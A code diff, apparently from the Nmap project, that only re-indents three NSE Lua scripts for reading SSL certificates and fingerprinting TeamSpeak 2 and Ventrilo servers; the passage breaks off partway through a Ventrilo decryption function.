@@ -116,60 +116,60 @@ categories = { "default", "safe", "discovery" }
|
|||||||
|
|
||||||
|
|
||||||
portrule = function(host, port)
|
portrule = function(host, port)
|
||||||
return shortport.ssl(host, port) or sslcert.isPortSupported(port)
|
return shortport.ssl(host, port) or sslcert.isPortSupported(port)
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Find the index of a value in an array.
|
-- Find the index of a value in an array.
|
||||||
function table_find(t, value)
|
function table_find(t, value)
|
||||||
local i, v
|
local i, v
|
||||||
for i, v in ipairs(t) do
|
for i, v in ipairs(t) do
|
||||||
if v == value then
|
if v == value then
|
||||||
return i
|
return i
|
||||||
end
|
|
||||||
end
|
end
|
||||||
return nil
|
end
|
||||||
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
function date_to_string(date)
|
function date_to_string(date)
|
||||||
if not date then
|
if not date then
|
||||||
return "MISSING"
|
return "MISSING"
|
||||||
end
|
end
|
||||||
if type(date) == "string" then
|
if type(date) == "string" then
|
||||||
return string.format("Can't parse; string is \"%s\"", date)
|
return string.format("Can't parse; string is \"%s\"", date)
|
||||||
else
|
else
|
||||||
return stdnse.format_timestamp(stdnse.date_to_timestamp(date, 0), 0)
|
return stdnse.format_timestamp(stdnse.date_to_timestamp(date, 0), 0)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- These are the subject/issuer name fields that will be shown, in this order,
|
-- These are the subject/issuer name fields that will be shown, in this order,
|
||||||
-- without a high verbosity.
|
-- without a high verbosity.
|
||||||
local NON_VERBOSE_FIELDS = { "commonName", "organizationName",
|
local NON_VERBOSE_FIELDS = { "commonName", "organizationName",
|
||||||
"stateOrProvinceName", "countryName" }
|
"stateOrProvinceName", "countryName" }
|
||||||
|
|
||||||
function stringify_name(name)
|
function stringify_name(name)
|
||||||
local fields = {}
|
local fields = {}
|
||||||
local _, k, v
|
local _, k, v
|
||||||
if not name then
|
if not name then
|
||||||
return nil
|
return nil
|
||||||
|
end
|
||||||
|
for _, k in ipairs(NON_VERBOSE_FIELDS) do
|
||||||
|
v = name[k]
|
||||||
|
if v then
|
||||||
|
fields[#fields + 1] = string.format("%s=%s", k, v)
|
||||||
end
|
end
|
||||||
for _, k in ipairs(NON_VERBOSE_FIELDS) do
|
end
|
||||||
v = name[k]
|
if nmap.verbosity() > 1 then
|
||||||
if v then
|
for k, v in pairs(name) do
|
||||||
fields[#fields + 1] = string.format("%s=%s", k, v)
|
-- Don't include a field twice.
|
||||||
|
if not table_find(NON_VERBOSE_FIELDS, k) then
|
||||||
|
if type(k) == "table" then
|
||||||
|
k = stdnse.strjoin(".", k)
|
||||||
end
|
end
|
||||||
|
fields[#fields + 1] = string.format("%s=%s", k, v)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
if nmap.verbosity() > 1 then
|
end
|
||||||
for k, v in pairs(name) do
|
return stdnse.strjoin("/", fields)
|
||||||
-- Don't include a field twice.
|
|
||||||
if not table_find(NON_VERBOSE_FIELDS, k) then
|
|
||||||
if type(k) == "table" then
|
|
||||||
k = stdnse.strjoin(".", k)
|
|
||||||
end
|
|
||||||
fields[#fields + 1] = string.format("%s=%s", k, v)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
return stdnse.strjoin("/", fields)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
local function name_to_table(name)
|
local function name_to_table(name)
|
||||||
@@ -184,61 +184,61 @@ local function name_to_table(name)
|
|||||||
end
|
end
|
||||||
|
|
||||||
local function output_tab(cert)
|
local function output_tab(cert)
|
||||||
local o = stdnse.output_table()
|
local o = stdnse.output_table()
|
||||||
o.subject = name_to_table(cert.subject)
|
o.subject = name_to_table(cert.subject)
|
||||||
o.issuer = name_to_table(cert.issuer)
|
o.issuer = name_to_table(cert.issuer)
|
||||||
o.pubkey = cert.pubkey
|
o.pubkey = cert.pubkey
|
||||||
o.validity = {}
|
o.validity = {}
|
||||||
for k, v in pairs(cert.validity) do
|
for k, v in pairs(cert.validity) do
|
||||||
if type(v)=="string" then
|
if type(v)=="string" then
|
||||||
o.validity[k] = v
|
o.validity[k] = v
|
||||||
else
|
else
|
||||||
o.validity[k] = stdnse.format_timestamp(stdnse.date_to_timestamp(v, 0), 0)
|
o.validity[k] = stdnse.format_timestamp(stdnse.date_to_timestamp(v, 0), 0)
|
||||||
end
|
|
||||||
end
|
end
|
||||||
o.md5 = stdnse.tohex(cert:digest("md5"))
|
end
|
||||||
o.sha1 = stdnse.tohex(cert:digest("sha1"))
|
o.md5 = stdnse.tohex(cert:digest("md5"))
|
||||||
o.pem = cert.pem
|
o.sha1 = stdnse.tohex(cert:digest("sha1"))
|
||||||
return o
|
o.pem = cert.pem
|
||||||
|
return o
|
||||||
end
|
end
|
||||||
|
|
||||||
local function output_str(cert)
|
local function output_str(cert)
|
||||||
local lines = {}
|
local lines = {}
|
||||||
|
|
||||||
lines[#lines + 1] = "Subject: " .. stringify_name(cert.subject)
|
lines[#lines + 1] = "Subject: " .. stringify_name(cert.subject)
|
||||||
|
|
||||||
if nmap.verbosity() > 0 then
|
if nmap.verbosity() > 0 then
|
||||||
lines[#lines + 1] = "Issuer: " .. stringify_name(cert.issuer)
|
lines[#lines + 1] = "Issuer: " .. stringify_name(cert.issuer)
|
||||||
end
|
end
|
||||||
|
|
||||||
if nmap.verbosity() > 0 then
|
if nmap.verbosity() > 0 then
|
||||||
lines[#lines + 1] = "Public Key type: " .. cert.pubkey.type
|
lines[#lines + 1] = "Public Key type: " .. cert.pubkey.type
|
||||||
lines[#lines + 1] = "Public Key bits: " .. cert.pubkey.bits
|
lines[#lines + 1] = "Public Key bits: " .. cert.pubkey.bits
|
||||||
end
|
end
|
||||||
|
|
||||||
lines[#lines + 1] = "Not valid before: " ..
|
lines[#lines + 1] = "Not valid before: " ..
|
||||||
date_to_string(cert.validity.notBefore)
|
date_to_string(cert.validity.notBefore)
|
||||||
lines[#lines + 1] = "Not valid after: " ..
|
lines[#lines + 1] = "Not valid after: " ..
|
||||||
date_to_string(cert.validity.notAfter)
|
date_to_string(cert.validity.notAfter)
|
||||||
|
|
||||||
if nmap.verbosity() > 0 then
|
if nmap.verbosity() > 0 then
|
||||||
lines[#lines + 1] = "MD5: " .. stdnse.tohex(cert:digest("md5"), { separator = " ", group = 4 })
|
lines[#lines + 1] = "MD5: " .. stdnse.tohex(cert:digest("md5"), { separator = " ", group = 4 })
|
||||||
lines[#lines + 1] = "SHA-1: " .. stdnse.tohex(cert:digest("sha1"), { separator = " ", group = 4 })
|
lines[#lines + 1] = "SHA-1: " .. stdnse.tohex(cert:digest("sha1"), { separator = " ", group = 4 })
|
||||||
end
|
end
|
||||||
|
|
||||||
if nmap.verbosity() > 1 then
|
if nmap.verbosity() > 1 then
|
||||||
lines[#lines + 1] = cert.pem
|
lines[#lines + 1] = cert.pem
|
||||||
end
|
end
|
||||||
return stdnse.strjoin("\n", lines)
|
return stdnse.strjoin("\n", lines)
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local status, cert = sslcert.getCertificate(host, port)
|
local status, cert = sslcert.getCertificate(host, port)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
return output_tab(cert), output_str(cert)
|
return output_tab(cert), output_str(cert)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -26,36 +26,36 @@ local payload = "\xf4\xbe\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x0
|
|||||||
portrule = shortport.version_port_or_service({8767}, "teamspeak2", "udp")
|
portrule = shortport.version_port_or_service({8767}, "teamspeak2", "udp")
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local status, result = comm.exchange(
|
local status, result = comm.exchange(
|
||||||
host, port.number, payload, { proto = "udp", timeout = 3000 })
|
host, port.number, payload, { proto = "udp", timeout = 3000 })
|
||||||
if not status then
|
if not status then
|
||||||
return
|
|
||||||
end
|
|
||||||
nmap.set_port_state(host, port, "open")
|
|
||||||
|
|
||||||
local name, platform, version = string.match(result,
|
|
||||||
"^\xf4\xbe\x04\0\0\0\0\0.............([^\0]*)%G+([^\0]*)\0*(........)")
|
|
||||||
if not name then
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
port.version.name = "teamspeak2"
|
|
||||||
port.version.name_confidence = 10
|
|
||||||
port.version.product = "TeamSpeak"
|
|
||||||
if name == "" then
|
|
||||||
port.version.version = "2"
|
|
||||||
else
|
|
||||||
local _, v_a, v_b, v_c, v_d = bin.unpack("<SSSS", version)
|
|
||||||
port.version.version = v_a .. "." .. v_b .. "." .. v_c .. "." .. v_d
|
|
||||||
port.version.extrainfo = "name: " .. name .. "; no password"
|
|
||||||
if platform == "Win32" then
|
|
||||||
port.version.ostype = "Windows"
|
|
||||||
elseif platform == "Linux" then
|
|
||||||
port.version.ostype = "Linux"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
nmap.set_port_version(host, port, "hardmatched")
|
|
||||||
|
|
||||||
return
|
return
|
||||||
|
end
|
||||||
|
nmap.set_port_state(host, port, "open")
|
||||||
|
|
||||||
|
local name, platform, version = string.match(result,
|
||||||
|
"^\xf4\xbe\x04\0\0\0\0\0.............([^\0]*)%G+([^\0]*)\0*(........)")
|
||||||
|
if not name then
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
port.version.name = "teamspeak2"
|
||||||
|
port.version.name_confidence = 10
|
||||||
|
port.version.product = "TeamSpeak"
|
||||||
|
if name == "" then
|
||||||
|
port.version.version = "2"
|
||||||
|
else
|
||||||
|
local _, v_a, v_b, v_c, v_d = bin.unpack("<SSSS", version)
|
||||||
|
port.version.version = v_a .. "." .. v_b .. "." .. v_c .. "." .. v_d
|
||||||
|
port.version.extrainfo = "name: " .. name .. "; no password"
|
||||||
|
if platform == "Win32" then
|
||||||
|
port.version.ostype = "Windows"
|
||||||
|
elseif platform == "Linux" then
|
||||||
|
port.version.ostype = "Linux"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
nmap.set_port_version(host, port, "hardmatched")
|
||||||
|
|
||||||
|
return
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -156,76 +156,76 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
|||||||
categories = { "default", "discovery", "safe", "version" }
|
categories = { "default", "discovery", "safe", "version" }
|
||||||
|
|
||||||
local crypt_head = {
|
local crypt_head = {
|
||||||
0x80,0xe5,0x0e,0x38,0xba,0x63,0x4c,0x99,0x88,0x63,0x4c,0xd6,0x54,0xb8,0x65,0x7e,
|
0x80,0xe5,0x0e,0x38,0xba,0x63,0x4c,0x99,0x88,0x63,0x4c,0xd6,0x54,0xb8,0x65,0x7e,
|
||||||
0xbf,0x8a,0xf0,0x17,0x8a,0xaa,0x4d,0x0f,0xb7,0x23,0x27,0xf6,0xeb,0x12,0xf8,0xea,
|
0xbf,0x8a,0xf0,0x17,0x8a,0xaa,0x4d,0x0f,0xb7,0x23,0x27,0xf6,0xeb,0x12,0xf8,0xea,
|
||||||
0x17,0xb7,0xcf,0x52,0x57,0xcb,0x51,0xcf,0x1b,0x14,0xfd,0x6f,0x84,0x38,0xb5,0x24,
|
0x17,0xb7,0xcf,0x52,0x57,0xcb,0x51,0xcf,0x1b,0x14,0xfd,0x6f,0x84,0x38,0xb5,0x24,
|
||||||
0x11,0xcf,0x7a,0x75,0x7a,0xbb,0x78,0x74,0xdc,0xbc,0x42,0xf0,0x17,0x3f,0x5e,0xeb,
|
0x11,0xcf,0x7a,0x75,0x7a,0xbb,0x78,0x74,0xdc,0xbc,0x42,0xf0,0x17,0x3f,0x5e,0xeb,
|
||||||
0x74,0x77,0x04,0x4e,0x8c,0xaf,0x23,0xdc,0x65,0xdf,0xa5,0x65,0xdd,0x7d,0xf4,0x3c,
|
0x74,0x77,0x04,0x4e,0x8c,0xaf,0x23,0xdc,0x65,0xdf,0xa5,0x65,0xdd,0x7d,0xf4,0x3c,
|
||||||
0x4c,0x95,0xbd,0xeb,0x65,0x1c,0xf4,0x24,0x5d,0x82,0x18,0xfb,0x50,0x86,0xb8,0x53,
|
0x4c,0x95,0xbd,0xeb,0x65,0x1c,0xf4,0x24,0x5d,0x82,0x18,0xfb,0x50,0x86,0xb8,0x53,
|
||||||
0xe0,0x4e,0x36,0x96,0x1f,0xb7,0xcb,0xaa,0xaf,0xea,0xcb,0x20,0x27,0x30,0x2a,0xae,
|
0xe0,0x4e,0x36,0x96,0x1f,0xb7,0xcb,0xaa,0xaf,0xea,0xcb,0x20,0x27,0x30,0x2a,0xae,
|
||||||
0xb9,0x07,0x40,0xdf,0x12,0x75,0xc9,0x09,0x82,0x9c,0x30,0x80,0x5d,0x8f,0x0d,0x09,
|
0xb9,0x07,0x40,0xdf,0x12,0x75,0xc9,0x09,0x82,0x9c,0x30,0x80,0x5d,0x8f,0x0d,0x09,
|
||||||
0xa1,0x64,0xec,0x91,0xd8,0x8a,0x50,0x1f,0x40,0x5d,0xf7,0x08,0x2a,0xf8,0x60,0x62,
|
0xa1,0x64,0xec,0x91,0xd8,0x8a,0x50,0x1f,0x40,0x5d,0xf7,0x08,0x2a,0xf8,0x60,0x62,
|
||||||
0xa0,0x4a,0x8b,0xba,0x4a,0x6d,0x00,0x0a,0x93,0x32,0x12,0xe5,0x07,0x01,0x65,0xf5,
|
0xa0,0x4a,0x8b,0xba,0x4a,0x6d,0x00,0x0a,0x93,0x32,0x12,0xe5,0x07,0x01,0x65,0xf5,
|
||||||
0xff,0xe0,0xae,0xa7,0x81,0xd1,0xba,0x25,0x62,0x61,0xb2,0x85,0xad,0x7e,0x9d,0x3f,
|
0xff,0xe0,0xae,0xa7,0x81,0xd1,0xba,0x25,0x62,0x61,0xb2,0x85,0xad,0x7e,0x9d,0x3f,
|
||||||
0x49,0x89,0x26,0xe5,0xd5,0xac,0x9f,0x0e,0xd7,0x6e,0x47,0x94,0x16,0x84,0xc8,0xff,
|
0x49,0x89,0x26,0xe5,0xd5,0xac,0x9f,0x0e,0xd7,0x6e,0x47,0x94,0x16,0x84,0xc8,0xff,
|
||||||
0x44,0xea,0x04,0x40,0xe0,0x33,0x11,0xa3,0x5b,0x1e,0x82,0xff,0x7a,0x69,0xe9,0x2f,
|
0x44,0xea,0x04,0x40,0xe0,0x33,0x11,0xa3,0x5b,0x1e,0x82,0xff,0x7a,0x69,0xe9,0x2f,
|
||||||
0xfb,0xea,0x9a,0xc6,0x7b,0xdb,0xb1,0xff,0x97,0x76,0x56,0xf3,0x52,0xc2,0x3f,0x0f,
|
0xfb,0xea,0x9a,0xc6,0x7b,0xdb,0xb1,0xff,0x97,0x76,0x56,0xf3,0x52,0xc2,0x3f,0x0f,
|
||||||
0xb6,0xac,0x77,0xc4,0xbf,0x59,0x5e,0x80,0x74,0xbb,0xf2,0xde,0x57,0x62,0x4c,0x1a,
|
0xb6,0xac,0x77,0xc4,0xbf,0x59,0x5e,0x80,0x74,0xbb,0xf2,0xde,0x57,0x62,0x4c,0x1a,
|
||||||
0xff,0x95,0x6d,0xc7,0x04,0xa2,0x3b,0xc4,0x1b,0x72,0xc7,0x6c,0x82,0x60,0xd1,0x0d
|
0xff,0x95,0x6d,0xc7,0x04,0xa2,0x3b,0xc4,0x1b,0x72,0xc7,0x6c,0x82,0x60,0xd1,0x0d
|
||||||
}
|
}
|
||||||
|
|
||||||
local crypt_data = {
|
local crypt_data = {
|
||||||
0x82,0x8b,0x7f,0x68,0x90,0xe0,0x44,0x09,0x19,0x3b,0x8e,0x5f,0xc2,0x82,0x38,0x23,
|
0x82,0x8b,0x7f,0x68,0x90,0xe0,0x44,0x09,0x19,0x3b,0x8e,0x5f,0xc2,0x82,0x38,0x23,
|
||||||
0x6d,0xdb,0x62,0x49,0x52,0x6e,0x21,0xdf,0x51,0x6c,0x76,0x37,0x86,0x50,0x7d,0x48,
|
0x6d,0xdb,0x62,0x49,0x52,0x6e,0x21,0xdf,0x51,0x6c,0x76,0x37,0x86,0x50,0x7d,0x48,
|
||||||
0x1f,0x65,0xe7,0x52,0x6a,0x88,0xaa,0xc1,0x32,0x2f,0xf7,0x54,0x4c,0xaa,0x6d,0x7e,
|
0x1f,0x65,0xe7,0x52,0x6a,0x88,0xaa,0xc1,0x32,0x2f,0xf7,0x54,0x4c,0xaa,0x6d,0x7e,
|
||||||
0x6d,0xa9,0x8c,0x0d,0x3f,0xff,0x6c,0x09,0xb3,0xa5,0xaf,0xdf,0x98,0x02,0xb4,0xbe,
|
0x6d,0xa9,0x8c,0x0d,0x3f,0xff,0x6c,0x09,0xb3,0xa5,0xaf,0xdf,0x98,0x02,0xb4,0xbe,
|
||||||
0x6d,0x69,0x0d,0x42,0x73,0xe4,0x34,0x50,0x07,0x30,0x79,0x41,0x2f,0x08,0x3f,0x42,
|
0x6d,0x69,0x0d,0x42,0x73,0xe4,0x34,0x50,0x07,0x30,0x79,0x41,0x2f,0x08,0x3f,0x42,
|
||||||
0x73,0xa7,0x68,0xfa,0xee,0x88,0x0e,0x6e,0xa4,0x70,0x74,0x22,0x16,0xae,0x3c,0x81,
|
0x73,0xa7,0x68,0xfa,0xee,0x88,0x0e,0x6e,0xa4,0x70,0x74,0x22,0x16,0xae,0x3c,0x81,
|
||||||
0x14,0xa1,0xda,0x7f,0xd3,0x7c,0x48,0x7d,0x3f,0x46,0xfb,0x6d,0x92,0x25,0x17,0x36,
|
0x14,0xa1,0xda,0x7f,0xd3,0x7c,0x48,0x7d,0x3f,0x46,0xfb,0x6d,0x92,0x25,0x17,0x36,
|
||||||
0x26,0xdb,0xdf,0x5a,0x87,0x91,0x6f,0xd6,0xcd,0xd4,0xad,0x4a,0x29,0xdd,0x7d,0x59,
|
0x26,0xdb,0xdf,0x5a,0x87,0x91,0x6f,0xd6,0xcd,0xd4,0xad,0x4a,0x29,0xdd,0x7d,0x59,
|
||||||
0xbd,0x15,0x34,0x53,0xb1,0xd8,0x50,0x11,0x83,0x79,0x66,0x21,0x9e,0x87,0x5b,0x24,
|
0xbd,0x15,0x34,0x53,0xb1,0xd8,0x50,0x11,0x83,0x79,0x66,0x21,0x9e,0x87,0x5b,0x24,
|
||||||
0x2f,0x4f,0xd7,0x73,0x34,0xa2,0xf7,0x09,0xd5,0xd9,0x42,0x9d,0xf8,0x15,0xdf,0x0e,
|
0x2f,0x4f,0xd7,0x73,0x34,0xa2,0xf7,0x09,0xd5,0xd9,0x42,0x9d,0xf8,0x15,0xdf,0x0e,
|
||||||
0x10,0xcc,0x05,0x04,0x35,0x81,0xb2,0xd5,0x7a,0xd2,0xa0,0xa5,0x7b,0xb8,0x75,0xd2,
|
0x10,0xcc,0x05,0x04,0x35,0x81,0xb2,0xd5,0x7a,0xd2,0xa0,0xa5,0x7b,0xb8,0x75,0xd2,
|
||||||
0x35,0x0b,0x39,0x8f,0x1b,0x44,0x0e,0xce,0x66,0x87,0x1b,0x64,0xac,0xe1,0xca,0x67,
|
0x35,0x0b,0x39,0x8f,0x1b,0x44,0x0e,0xce,0x66,0x87,0x1b,0x64,0xac,0xe1,0xca,0x67,
|
||||||
0xb4,0xce,0x33,0xdb,0x89,0xfe,0xd8,0x8e,0xcd,0x58,0x92,0x41,0x50,0x40,0xcb,0x08,
|
0xb4,0xce,0x33,0xdb,0x89,0xfe,0xd8,0x8e,0xcd,0x58,0x92,0x41,0x50,0x40,0xcb,0x08,
|
||||||
0xe1,0x15,0xee,0xf4,0x64,0xfe,0x1c,0xee,0x25,0xe7,0x21,0xe6,0x6c,0xc6,0xa6,0x2e,
|
0xe1,0x15,0xee,0xf4,0x64,0xfe,0x1c,0xee,0x25,0xe7,0x21,0xe6,0x6c,0xc6,0xa6,0x2e,
|
||||||
0x52,0x23,0xa7,0x20,0xd2,0xd7,0x28,0x07,0x23,0x14,0x24,0x3d,0x45,0xa5,0xc7,0x90,
|
0x52,0x23,0xa7,0x20,0xd2,0xd7,0x28,0x07,0x23,0x14,0x24,0x3d,0x45,0xa5,0xc7,0x90,
|
||||||
0xdb,0x77,0xdd,0xea,0x38,0x59,0x89,0x32,0xbc,0x00,0x3a,0x6d,0x61,0x4e,0xdb,0x29
|
0xdb,0x77,0xdd,0xea,0x38,0x59,0x89,0x32,0xbc,0x00,0x3a,0x6d,0x61,0x4e,0xdb,0x29
|
||||||
}
|
}
|
||||||
|
|
||||||
local crypt_crc = {
|
local crypt_crc = {
|
||||||
0x0000,0x1021,0x2042,0x3063,0x4084,0x50a5,0x60c6,0x70e7,
|
0x0000,0x1021,0x2042,0x3063,0x4084,0x50a5,0x60c6,0x70e7,
|
||||||
0x8108,0x9129,0xa14a,0xb16b,0xc18c,0xd1ad,0xe1ce,0xf1ef,
|
0x8108,0x9129,0xa14a,0xb16b,0xc18c,0xd1ad,0xe1ce,0xf1ef,
|
||||||
0x1231,0x0210,0x3273,0x2252,0x52b5,0x4294,0x72f7,0x62d6,
|
0x1231,0x0210,0x3273,0x2252,0x52b5,0x4294,0x72f7,0x62d6,
|
||||||
0x9339,0x8318,0xb37b,0xa35a,0xd3bd,0xc39c,0xf3ff,0xe3de,
|
0x9339,0x8318,0xb37b,0xa35a,0xd3bd,0xc39c,0xf3ff,0xe3de,
|
||||||
0x2462,0x3443,0x0420,0x1401,0x64e6,0x74c7,0x44a4,0x5485,
|
0x2462,0x3443,0x0420,0x1401,0x64e6,0x74c7,0x44a4,0x5485,
|
||||||
0xa56a,0xb54b,0x8528,0x9509,0xe5ee,0xf5cf,0xc5ac,0xd58d,
|
0xa56a,0xb54b,0x8528,0x9509,0xe5ee,0xf5cf,0xc5ac,0xd58d,
|
||||||
0x3653,0x2672,0x1611,0x0630,0x76d7,0x66f6,0x5695,0x46b4,
|
0x3653,0x2672,0x1611,0x0630,0x76d7,0x66f6,0x5695,0x46b4,
|
||||||
0xb75b,0xa77a,0x9719,0x8738,0xf7df,0xe7fe,0xd79d,0xc7bc,
|
0xb75b,0xa77a,0x9719,0x8738,0xf7df,0xe7fe,0xd79d,0xc7bc,
|
||||||
0x48c4,0x58e5,0x6886,0x78a7,0x0840,0x1861,0x2802,0x3823,
|
0x48c4,0x58e5,0x6886,0x78a7,0x0840,0x1861,0x2802,0x3823,
|
||||||
0xc9cc,0xd9ed,0xe98e,0xf9af,0x8948,0x9969,0xa90a,0xb92b,
|
0xc9cc,0xd9ed,0xe98e,0xf9af,0x8948,0x9969,0xa90a,0xb92b,
|
||||||
0x5af5,0x4ad4,0x7ab7,0x6a96,0x1a71,0x0a50,0x3a33,0x2a12,
|
0x5af5,0x4ad4,0x7ab7,0x6a96,0x1a71,0x0a50,0x3a33,0x2a12,
|
||||||
0xdbfd,0xcbdc,0xfbbf,0xeb9e,0x9b79,0x8b58,0xbb3b,0xab1a,
|
0xdbfd,0xcbdc,0xfbbf,0xeb9e,0x9b79,0x8b58,0xbb3b,0xab1a,
|
||||||
0x6ca6,0x7c87,0x4ce4,0x5cc5,0x2c22,0x3c03,0x0c60,0x1c41,
|
0x6ca6,0x7c87,0x4ce4,0x5cc5,0x2c22,0x3c03,0x0c60,0x1c41,
|
||||||
0xedae,0xfd8f,0xcdec,0xddcd,0xad2a,0xbd0b,0x8d68,0x9d49,
|
0xedae,0xfd8f,0xcdec,0xddcd,0xad2a,0xbd0b,0x8d68,0x9d49,
|
||||||
0x7e97,0x6eb6,0x5ed5,0x4ef4,0x3e13,0x2e32,0x1e51,0x0e70,
|
0x7e97,0x6eb6,0x5ed5,0x4ef4,0x3e13,0x2e32,0x1e51,0x0e70,
|
||||||
0xff9f,0xefbe,0xdfdd,0xcffc,0xbf1b,0xaf3a,0x9f59,0x8f78,
|
0xff9f,0xefbe,0xdfdd,0xcffc,0xbf1b,0xaf3a,0x9f59,0x8f78,
|
||||||
0x9188,0x81a9,0xb1ca,0xa1eb,0xd10c,0xc12d,0xf14e,0xe16f,
|
0x9188,0x81a9,0xb1ca,0xa1eb,0xd10c,0xc12d,0xf14e,0xe16f,
|
||||||
0x1080,0x00a1,0x30c2,0x20e3,0x5004,0x4025,0x7046,0x6067,
|
0x1080,0x00a1,0x30c2,0x20e3,0x5004,0x4025,0x7046,0x6067,
|
||||||
0x83b9,0x9398,0xa3fb,0xb3da,0xc33d,0xd31c,0xe37f,0xf35e,
|
0x83b9,0x9398,0xa3fb,0xb3da,0xc33d,0xd31c,0xe37f,0xf35e,
|
||||||
0x02b1,0x1290,0x22f3,0x32d2,0x4235,0x5214,0x6277,0x7256,
|
0x02b1,0x1290,0x22f3,0x32d2,0x4235,0x5214,0x6277,0x7256,
|
||||||
0xb5ea,0xa5cb,0x95a8,0x8589,0xf56e,0xe54f,0xd52c,0xc50d,
|
0xb5ea,0xa5cb,0x95a8,0x8589,0xf56e,0xe54f,0xd52c,0xc50d,
|
||||||
0x34e2,0x24c3,0x14a0,0x0481,0x7466,0x6447,0x5424,0x4405,
|
0x34e2,0x24c3,0x14a0,0x0481,0x7466,0x6447,0x5424,0x4405,
|
||||||
0xa7db,0xb7fa,0x8799,0x97b8,0xe75f,0xf77e,0xc71d,0xd73c,
|
0xa7db,0xb7fa,0x8799,0x97b8,0xe75f,0xf77e,0xc71d,0xd73c,
|
||||||
0x26d3,0x36f2,0x0691,0x16b0,0x6657,0x7676,0x4615,0x5634,
|
0x26d3,0x36f2,0x0691,0x16b0,0x6657,0x7676,0x4615,0x5634,
|
||||||
0xd94c,0xc96d,0xf90e,0xe92f,0x99c8,0x89e9,0xb98a,0xa9ab,
|
0xd94c,0xc96d,0xf90e,0xe92f,0x99c8,0x89e9,0xb98a,0xa9ab,
|
||||||
0x5844,0x4865,0x7806,0x6827,0x18c0,0x08e1,0x3882,0x28a3,
|
0x5844,0x4865,0x7806,0x6827,0x18c0,0x08e1,0x3882,0x28a3,
|
||||||
0xcb7d,0xdb5c,0xeb3f,0xfb1e,0x8bf9,0x9bd8,0xabbb,0xbb9a,
|
0xcb7d,0xdb5c,0xeb3f,0xfb1e,0x8bf9,0x9bd8,0xabbb,0xbb9a,
|
||||||
0x4a75,0x5a54,0x6a37,0x7a16,0x0af1,0x1ad0,0x2ab3,0x3a92,
|
0x4a75,0x5a54,0x6a37,0x7a16,0x0af1,0x1ad0,0x2ab3,0x3a92,
|
||||||
0xfd2e,0xed0f,0xdd6c,0xcd4d,0xbdaa,0xad8b,0x9de8,0x8dc9,
|
0xfd2e,0xed0f,0xdd6c,0xcd4d,0xbdaa,0xad8b,0x9de8,0x8dc9,
|
||||||
0x7c26,0x6c07,0x5c64,0x4c45,0x3ca2,0x2c83,0x1ce0,0x0cc1,
|
0x7c26,0x6c07,0x5c64,0x4c45,0x3ca2,0x2c83,0x1ce0,0x0cc1,
|
||||||
0xef1f,0xff3e,0xcf5d,0xdf7c,0xaf9b,0xbfba,0x8fd9,0x9ff8,
|
0xef1f,0xff3e,0xcf5d,0xdf7c,0xaf9b,0xbfba,0x8fd9,0x9ff8,
|
||||||
0x6e17,0x7e36,0x4e55,0x5e74,0x2e93,0x3eb2,0x0ed1,0x1ef0
|
0x6e17,0x7e36,0x4e55,0x5e74,0x2e93,0x3eb2,0x0ed1,0x1ef0
|
||||||
}
|
}
|
||||||
|
|
||||||
-- The probe payload is static as it has proven to be unecessary to forge a new
|
-- The probe payload is static as it has proven to be unecessary to forge a new
|
||||||
@@ -239,15 +239,15 @@ local static_probe_payload = "\x49\xde\xdf\xd0\x65\xc9\x21\xc4\x90\x0d\xbf\x23\x
|
|||||||
-- @param auth the server authentication scheme code
|
-- @param auth the server authentication scheme code
|
||||||
-- @return string string interpretation of the server authentication scheme
|
-- @return string string interpretation of the server authentication scheme
|
||||||
local auth_str = function(auth)
|
local auth_str = function(auth)
|
||||||
if auth == "0" then
|
if auth == "0" then
|
||||||
return "none"
|
return "none"
|
||||||
elseif auth == "1" then
|
elseif auth == "1" then
|
||||||
return "pw"
|
return "pw"
|
||||||
elseif auth == "2" then
|
elseif auth == "2" then
|
||||||
return "user/pw"
|
return "user/pw"
|
||||||
else
|
else
|
||||||
return auth
|
return auth
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Formats an uptime string containing a number of seconds.
|
-- Formats an uptime string containing a number of seconds.
|
||||||
@@ -255,15 +255,15 @@ end
|
|||||||
-- @param uptime number of seconds of uptime
|
-- @param uptime number of seconds of uptime
|
||||||
-- @return uptime_formatted formatted uptime string (hours and minutes)
|
-- @return uptime_formatted formatted uptime string (hours and minutes)
|
||||||
local uptime_str = function(uptime)
|
local uptime_str = function(uptime)
|
||||||
local uptime_num = tonumber(uptime)
|
local uptime_num = tonumber(uptime)
|
||||||
if not uptime_num then
|
if not uptime_num then
|
||||||
return uptime
|
return uptime
|
||||||
end
|
end
|
||||||
|
|
||||||
local h = math.floor(uptime_num/3600)
|
local h = math.floor(uptime_num/3600)
|
||||||
local m = math.floor((uptime_num - h*3600)/60)
|
local m = math.floor((uptime_num - h*3600)/60)
|
||||||
|
|
||||||
return h .. "h:" .. m .. "m"
|
return h .. "h:" .. m .. "m"
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Decrypts the Ventrilo UDP status response header segment.
|
-- Decrypts the Ventrilo UDP status response header segment.
|
||||||
@@ -276,33 +276,33 @@ end
|
|||||||
-- @return key key for decrypting the data segment of this response packet
|
-- @return key key for decrypting the data segment of this response packet
|
||||||
-- @return crc_sum the crc checksum of the full response data segment
|
-- @return crc_sum the crc checksum of the full response data segment
|
||||||
local dec_head = function(str)
|
local dec_head = function(str)
|
||||||
local head = { string.byte(str, 1, 20) }
|
local head = { string.byte(str, 1, 20) }
|
||||||
|
|
||||||
